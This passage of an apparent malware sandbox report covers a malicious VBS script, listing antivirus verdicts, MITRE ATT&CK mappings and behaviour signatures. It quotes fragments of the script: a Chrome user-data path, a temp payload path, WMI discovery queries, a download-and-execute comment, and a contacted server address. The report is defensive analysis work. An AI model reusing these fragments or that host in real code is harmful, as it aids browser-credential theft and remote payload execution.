W1","768:XuRtW17","768:uRtW17B","768:RtW17Bs","768:tW17Bsf","768:W17BsfS","768:17BsfSe","768:7BsfSef","768:BsfSefI","768:sfSefIN","768:fSefINw","768:SefINwB","768:efINwBI","768:fINwBIC","768:INwBICb","768:NwBICbo","768:wBICboU","768:BICboUN","768:ICboUN3","768:CboUN3p","768:boUN3pq","768:oUN3pqg","768:UN3pqgB","768:N3pqgB1","768:3pqgB1s","768:pqgB1ss","768:qgB1ssx","768:gB1ssxP","768:B1ssxPz","768:1ssxPzl","384:OGuRt0C","384:GuRt0CN","384:uRt0CN3","384:Rt0CN3p","384:t0CN3pq","384:0CN3pqg","384:CN3pqgB","384:3pqgB1/","384:pqgB1/t","384:qgB1/tz","384:gB1/tzl"],"imphash":"Unknown"},"file_info":{"file_name":"8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin","file_type":["script","vbs"],"file_type_id":"vbs","file_size":13208,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1773410886000,"last_seen":1776932378000,"last_multi_scan":1776932378000}},"detections":{"summary":{"verdict":"malicious","score":76,"tags":["malicious","evasive"]},"stats":{"av":{"malicious_count":2,"suspicious_count":0,"total_engines":26},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":32},"sandbox_signatures":{"informative_count":62,"suspicious_count":8,"malicious_count":3,"total":73},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"malicious","threat_name":"Trojan_Script_Wacatac_C_ml","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"VBS/Agent.CRU","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan_Script_Wacatac_C_ml","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"},{"type":"suspicious","value":"Detected network traffic to commonly abused domain"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Found a reference to a WMI query string known to be used for VM detection"},{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"informative","value":"Contains ability to execute a WMI query"},{"type":"informative","value":"Found WMI keywords in script (string)"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"malicious","value":"Able to execute commands through Windows command interpreter (ASP)"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve function addresses"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Logged script engine calls"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Execution","technique":"Visual Basic","attack_id":"T1059.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/005","identifiers":[{"type":"suspicious","value":"Executes a VBS file"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Windows system process connects to a network"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Queries process mitigation policy via NtQueryInformationProcess"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"},{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"References to WMI query strings used to retrieve network adapter information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"References to WMI query strings used for process discovery"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Queries process information"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Tries to access non-existent files (executable)"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Monitors specific registry key for changes"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Reads Windows Trust Settings"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"suspicious","value":"Found browser information locations related strings"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contacts server"},{"type":"suspicious","value":"Spawned process connects to a network"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Uses HTTPS for communication"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Contains ability to post data to a web server"},{"type":"informative","value":"Contains ability to set the value of an HTTP request header"},{"type":"informative","value":"Contains ability to perform GET/POST network requests (xmlhttp)"},{"type":"informative","value":"Contains ability to send/receive network requests"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$25","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"\"WScript.exe\" queried SystemProcessInformation at 00000000-00001316-00000C15-1298764893 [PID: 1316]\n \"WScript.exe\" queried SystemProcessInformation at 00000000-00001316-00000C15-1298774279 [PID: 1316]\n \"WScript.exe\" queried SystemProcessInformation at 00000000-00001316-00000C15-1299259206 [PID: 1316]\n \"WScript.exe\" queried SystemProcessInformation at 00000000-00001316-00000C15-1299268735 [PID: 1316]\n \"WScript.exe\" queried SystemProcessInformation at 00000000-00001316-00000C15-1299470625 [PID: 1316]\n \"WScript.exe\" queried SystemProcessInformation at 00000000-00001316-00000C15-1299479599 [PID: 1316]","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Reads the cryptographic machine GUID","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"ExpandEnvironmentStrings (in long string)\" in file \"8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin\"\n Found system information discovery API: \"basePath = shell.ExpandEnvironmentStrings(\"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\\")\" in file \"8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin\"\n Found system information discovery API: \"tmpPath = shell.ExpandEnvironmentStrings(\"%TEMP%\") & \"\\\" & payloadFileName\" in file \"8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"WScript.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00001316)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"WScript.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00001316)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"WScript.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00001316)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"WScript.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00001316)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$26","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$27","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"WScript.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00001316)\n \"WScript.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00001316)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"$28","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform GET/POST network requests (xmlhttp)","description":"file/memory contains long string with (Indicator: \"msxml2.xmlhttp\"; File: \"8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin\")\n Found string \"' Disk: GET /3?payload=... via MSXML2.XMLHTTP, save to temp with ADODB.Stream, then execute with params\" (Indicator: \"msxml2.xmlhttp\"; File: \"8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-469","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LEVELS\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"DEFAULTLEVEL\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"SAFERFLAGS\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"POLICYSCOPE\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LOGFILENAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"$29","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Environment Awareness","name":"Queries process mitigation policy via NtQueryInformationProcess","description":"\"C:\\Windows\\System32\\wscript.exe\" queried ProcessMitigationPolicy","origin":"API Call","mitre_attack_id":"T1497.001","relevance":3,"id":"api-323","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Environment Awareness","name":"References to WMI query strings used for process discovery","description":"file/memory contains long string with (Indicator: \" Win32_Process\"; File: \"8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin\")\n Found string \"Set cpuItems = ObjWMI.ExecQuery(\"SELECT * FROM Win32_Processor\")\" (Indicator: \" Win32_Process\"; File: \"8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin\")\n Found string \"Set prclst = objWMIService.ExecQuery(\"Select * from Win32_Process\")\" (Indicator: \" Win32_Process\"; File: \"8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-513","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"Environment Awareness","name":"References to WMI query strings used to retrieve network adapter information","description":"file/memory contains long string with (Indicator: \" Win32_NetworkAdapter\"; File: \"8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin\")\n Found string \"Set adapItems = ObjWMI.ExecQuery(\"SELECT * FROM Win32_NetworkAdapterConfiguration\", , 48)\" (Indicator: \" Win32_NetworkAdapter\"; File: \"8976e76450bfb8af45f3c9ebc24a8f6a3df912d87a10b5625774fa6aace7fc19.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-515","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"\"WScript.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001316)\n \"WScript.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001316)\n \"WScript.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001316)\n \"WScript.exe\" called \"LoadLibrary\" with a parameter kernel32 (UID: 00000000-00001316)\n \"WScript.exe\" called \"LoadLibrary\" with a parameter kernel32.dll (UID: 00000000-00001316)\n \"WScript.exe\" called \"LoadLibrary\" with a parameter amsi.dll (UID: 00000000-00001316)\n \"WScript.exe\" called \"LoadLibrary\" with a parameter %WINDIR%\\system32\\version.dll (UID: 00000000-00001316)\n \"WScript.exe\" called \"LoadLibrary\" with a parameter WLDP.DLL (UID: 00000000-00001316)\n \"WScript.exe\" called \"LoadLibrary\" with a parameter %WINDIR%\\system32\\advapi32.dll (UID: 00000000-00001316)\n \"WScript.exe\" called \"LoadLibrary\" with a parameter ole32.dll (UID: 00000000-00001316)","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$2a","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"69e9d61a4a1ae4becd03f793"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"144.172.114.220:443\"","origin":"Network 